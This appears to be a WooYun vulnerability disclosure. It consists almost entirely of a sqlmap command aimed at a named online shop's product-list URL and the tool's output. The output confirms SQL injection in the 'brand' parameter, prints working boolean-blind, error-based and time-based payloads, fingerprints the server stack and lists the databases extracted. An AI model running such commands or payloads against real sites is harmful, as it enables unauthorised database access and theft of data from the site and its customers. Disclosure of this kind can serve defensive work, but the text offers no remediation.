WooYun.org

http://www.wenji99.com/?m=product&s=list&brand=%E6%83%A0%E6%99%AEHP&brand_id=623

python sqlmap.py -u "http://www.wenji99.com/?m=product&s=list&brand=%E6%83%A0%E6%99%AEHP&brand_id=623" --dbs

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n]
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n]
[14:16:40] [INFO] GET parameter 'brand' seems to be 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable
[14:16:40] [INFO] GET parameter 'brand' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable
[14:16:57] [INFO] GET parameter 'brand' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable
GET parameter 'brand' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection point(s) with a total of 850 HTTP(s) requests:
---
Parameter: brand (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: m=product&s=list&brand=%E6%83%A0%E6%99%AEHP' RLIKE (SELECT (CASE WHEN (1900=1900) THEN 0x2545362538332541302545362539392541454850 ELSE 0x28 END)) AND 'Ppcc'='Ppcc&brand_id=623
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: m=product&s=list&brand=%E6%83%A0%E6%99%AEHP' AND (SELECT 7915 FROM(SELECT COUNT(*),CONCAT(0x716b707a71,(SELECT (ELT(7915=7915,1))),0x716a767171,FLOOR(RAND(0)*2))x FROM INFORMATION_S
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: m=product&s=list&brand=%E6%83%A0%E6%99%AEHP' AND (SELECT * FROM (SELECT(SLEEP(5)))pTQH) AND 'opmk'='opmk&brand_id=623
---
[14:22:04] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.3.3, Nginx
back-end DBMS: MySQL 5.0
[14:22:04] [INFO] fetching database names
[14:22:12] [INFO] the SQL query used returns 3 entries
[14:22:14] [INFO] retrieved: information_schema
[14:22:17] [INFO] retrieved: mysql
[14:22:18] [INFO] retrieved: wenji
available databases [3]:
[*] information_schema
[*] mysql
[*] wenji